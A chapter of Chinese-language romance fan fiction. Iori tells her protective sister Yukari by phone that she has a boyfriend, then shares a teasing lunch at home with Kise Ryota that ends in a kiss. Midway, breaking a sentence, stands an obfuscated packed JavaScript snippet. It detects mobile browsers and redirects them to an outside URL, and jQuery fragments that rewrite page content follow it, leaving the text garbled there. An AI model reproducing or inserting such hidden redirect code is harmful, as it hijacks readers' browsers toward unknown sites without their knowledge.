“抱歉，暑假我应该不会回去。”
姐姐的声音从手机中传来，夹杂着书页翻动的响声。我捧着水杯坐在桌前，“嗯”了一声作为回应。
“课题的进度比想象中要慢，只能继续住在学生寮里。不过如果可爱的妹妹真诚请求的话，我也可以立刻赶回家——”
“我又不是没人陪就会寂寞得睡不着觉的小朋友。”
“啊呀，遗憾。”她轻声笑了起来，又接着说，“爸爸呢？有说什么时候回家吗？”
“八月上旬吧……大概还有两周。妈妈倒是来过一趟，不过待了两天就回千代田了。”
医生、警察——如果要以“我的父母”为题写一篇命题作文，我有自信能拿到高分，可我对他们的了解其实很少。
就职单位、具体职务、工作内容。他们从不会主动提起，而我也没有问过。
在有限的记忆里，家人陪伴的缺失好像是一种理所当然，取而代之的是因为歉疚而泛滥的爱意，以及物质上的包容。
“感觉好像留守儿童。”由香里吐槽。
我思考着说：“也没有那么严重。一个人在家的话可以尽情熬夜，还能点又贵又不健康的外卖。”
“好像也是。要是觉得无聊的话，你可以拉上朋友来家里开派对。”
“没有那种朋友，也不会开派对。”
“也可以带男朋友回家。”
“哦。”
“诶？这次居然没有否定？真有？”
“啊……”
不仅有，还已经带回家了。
我陷入沉默。
手机那边的声音陡然拔高好几度。一阵混乱的哗啦声响之后，那本足够厚的书似乎被重重合上。
由香里用不可思议的语气问道：“骗人的吧？是什么样的人？有被胁迫吗？需要我去学校替你撑腰吗？”
“没有被胁迫，是自愿的。”我突然意识到这种说法有些奇怪，又立刻补充，“不是你想的那样，只是普通的交往！”
国中时期，所有真实经历的痛苦都因为“大人的原因”不了了之，最终变成轻描淡写的回忆。
而那段记忆的最后，是我眼中那位一直恪守正义、努力维护着规则与律法的女性疲惫地弯下腰，将我揽进怀里的画面。
她轻声对我道歉：“对不起，妈妈没能保护好你。”
也是从那时起，我才知道并非所有事情都存在正确性。
自那以后，家人开始对我抱有过度保护的趋势。就比如现在——
“有照片吗？让我来鉴定一下对方是不是正常人。”由香里说，“男人这种生物就像变色龙一样擅于伪装，特别是在女性面前。就算表面看起来正经纯情，他背地里说不定就是那种玩弄感情的人渣。”
“我觉得应该不是……”
由香里：“你也说了是‘应该’。毕竟伊织你看上去就像那种没办法拒绝上门推销、长大之后绝对会被电话诈骗的人。”
我：“……”
虽然没办法反驳，但一般来说会有这样评价妹妹的姐姐吗！
为了让由香里安心，我最终还是给她看了照片。不是合照，而是更早之前黄濑凉太发给我的自拍。
“我天，你谈了个偶像？”
“不是，但有在做平面模特的兼职。”
“看起来好轻浮，扣分。”
她毫不客气地给出评价，又问。
“是谁先告的白？”
“……他。”
“不能好好控制自己的感情，扣分。”
感觉无论回答是什么都会被扣分啊！
我无奈地拉长声音：“姐姐——”在念出口的瞬间，又陡然意识到这个语气好像和谁有点相似，不自在地捂住了嘴。
手机中传来一声感叹：“看起来对方是个不得了的人。”
“嗯？”
“能让你学会撒娇。”
不，这只是近朱者赤。
我在心里默默评价。
电话那端故作严肃的声音终于缓和下来，我听见她的轻笑声：“好啦，只是开个玩笑，不是真的要对你指指点点。”
“嗯，我知道。”
“不过之后有烦恼的话可以和我聊聊。”
“好哦。”
接着，我收到了她转发过来的“情侣约会推荐清单”以及“辨别渣男小技巧”。虽然不知道会不会用上，但总之先收藏起来了。
男朋友的话题之后还有日常闲聊，大多是对于繁重课业的抱怨。
“以后千万不要学法，绝对会变成秃头的。”
她一本正经地抱怨。而我虽然笑着说好，但其实根本还没考虑过那么远的未来。
逐渐升起的太阳从窗帘的缝隙中透过一点光，我放下手里只写了两行的国语作业，在午间来临之际和她做了道别。
“啊，说起来。上次……打电话的时候。”
在简短的再见之后，她唐突提起另一件事。
“听见你用那种开心的语气和我聊起学校的事情，我就忍不住想：感觉一切都在变好。”
是这样吗。
我应该是想这样回答的，但却什么都没说出口。
“可能听起来像讨人厌的说教，也像泼冷水……但是，千万不要轻易把谁当做救赎和前进的动力。”
我在安静的呼吸声中沉默了一会，忍不住打趣：“好严肃哦，由香里变得和妈妈一个样子了。”
“伊织才是，以前可不会说这种俏皮话。这是变得像谁了？啊，莫非是那位神秘的男朋友——”
“绝无可能！”
我趴在书桌上，伸手拽着面前的窗帘，明灭的光线随着布料的晃动在指尖跳跃。
带着鲜明笑意的声音响起：“好啦好啦，交男朋友的事情我会对妈妈保密的。不过还是不要做伤身体的事情比较好——怎么了？好像突然听到了‘咚’的一声。”
“不小心打翻了水杯。但是没事，没有水，也没有碎。”我说，“不会那么做的。”
“那就好。虽然年轻是好，但是一起吃着垃圾食品、喝碳酸饮料，然后彻夜打电动这种事情实在太不健康了，我现在已经在后悔了。”
“……啊？哦。”
“嗯？”
“我是说——是的，我也这么觉得。”
*
我敲响了客房的门。
虽然说过不用叫他起来吃早餐，但现在已经是正午了！
我又敲了一下。
房间里安安静静，没有任何回应。
嗯……这种在别人家也能安心赖床的松弛状态真是令人羡慕。
就在我犹豫着决定放弃叫醒他，自己点外卖解决午饭时，紧闭的房门突然被打开。房间里有些沉闷的空气和昏暗的光线从面前落下，我抬眼，和眯着眼睛迷迷瞪瞪的男生对上视线。
他一副还没清醒的模样，在静止了三秒之后，突然抬手关上了门。
速度快到我没能反应过来。
我：“欸？”
他：“欸？！”
我在门外疑惑地问：“怎么了？”
“为什么一声不吭地站在房间外面？！刚起床糟糕的样子都被看到了啊！”黄濑凉太的声音隔着门板传来，似乎因为真心实意的羞耻而带着些微的颤抖。
“我刚刚有敲门，只是你没有听见。”
这样的解释显然没有实质性作用，我安慰道：“没关系的。就只是头发乱糟糟，看起来傻呆呆，上衣也没有拉好而已。”
“……我现在就去人生重开。”
“啊、对不起！我会全部忘掉的！你先冷静一下！”
艰难地哄好男朋友
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265135|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后，我体贴地留出独处的空间让他打理自己不妙的模样。
再然后，午饭在“这一定是本周最后一次外卖”的忏悔中变为了披萨和冰可乐。
黄濑凉太坐在客厅的沙发上，正拿着手机回复信息。我在等待外卖的间隙中收拾起房间，一边问：“黄濑同学打算什么时候离开？”
说出口时才意识到这听上去像在赶人，我即刻补充：“不急着回去的话，要一起吃个晚饭吗？”
总觉得还是不太对劲。我停顿一下，又接着说：“当然，也不是邀请你留下来，如果……”
“如果可以的话，还想稍微多待一会。”
他趴在沙发椅背上，笑眯眯地望着纠结措辞的我，定下锤音。
这一刻的他变回了我熟悉的自信模样，仿佛刚才狼狈的状态只是伪装出来的表象。
午间的日光从落地窗闯进室内，沿着发梢从他的脸侧滑进颈间，我的视线不由自主地跟随着那道明亮的光线下移到他的领口，脑中浮现出刚才在房间门外看到的画面。
是相当有分量的肌肉线条。
……对不起！好像没能忘掉！
我别扭地移开视线，佯装镇定地给出答复：“好的。”
如果要问我最喜欢黄濑凉太哪一点，我会毫不犹豫地回答说“是脸”。这是人之常情，毕竟最初的心动也是见色起意。
所以这一刻的动摇同样也是可以理解的！
“怎么突然脸红了？”他枕着手臂，歪头看我，刻意放低的声音仿佛融化的糖果那样黏连在一起。
和总是轻快明亮的语调不同，这样的说话方式更像是贴在耳畔响起的亲密絮语。
“后悔了。”我木着脸说。
“嗯？”
“我应该偷偷潜进房间拍下睡脸。”
游刃有余的形象光速幻灭，随后是震惊又焦急的拒绝：“只有这个绝对不行！”
“小气。”
在这场毫无意义的幼稚争辩中，门铃声姗姗来迟。我在沙发上坐下，理直气壮地支使他去取外卖。
大门被关上，端着披萨盒和饮料回来的黄濑凉太自然地紧挨着落座在我身旁的空位上。我从他手里接过可乐，忍不住说：“对面的沙发明明很宽敞。”
“难得可以独处贴贴欸，真的要赶我走吗？”
他肆无忌惮地凑近，唇边的笑意愈发分明，带有撒娇意味的话语无比自然地被吐露出来。
距离近到呼吸足以交融，这时我终于能毫不夸张地说出这样的话：我在那片琥珀色的亮光中清晰地看见自己的身影。
吐息间弥漫着还未散去的、属于牙膏的薄荷气息。
取代了留存在记忆中的柠檬香味。
心间泛起怪异的波澜。
——我总是无法拒绝他人。
但这次不一样。某种陌生的心绪盘踞在大脑里，将所有犹豫的、恐慌的、不安定的念头尽数扫进深不见底的海洋。
我在丧失感中找寻到新的答案。
一向正确的由香里这次似乎得出了错误的结论：绝非救赎或者前进的动力那种崇高伟大的存在，我自始至终都只是在为自己而努力。
然后在久违地尝试走出房间的某一天突然发现，太阳的光芒好像没有想象中刺眼，与人接触也不是那么可怕的事情，所以又催生出了些许勇气。
然后这点微不足道的勇气支撑着我主动靠近对方。
指尖触碰到脸颊的时刻，他颤动的眼睫抖落几缕光线，那双荡漾着日光的眼中涌现出实质的慌乱。
但在他即将开口之际，我伸手捂住他的嘴唇，低下了头。
“每次都在黄濑同学的陷阱里上当的话，会显得没办法拒绝的我很丢人。”
我笑着在他的额前落下轻飘飘的吻。
“所以，也稍微让我赢一次吧。”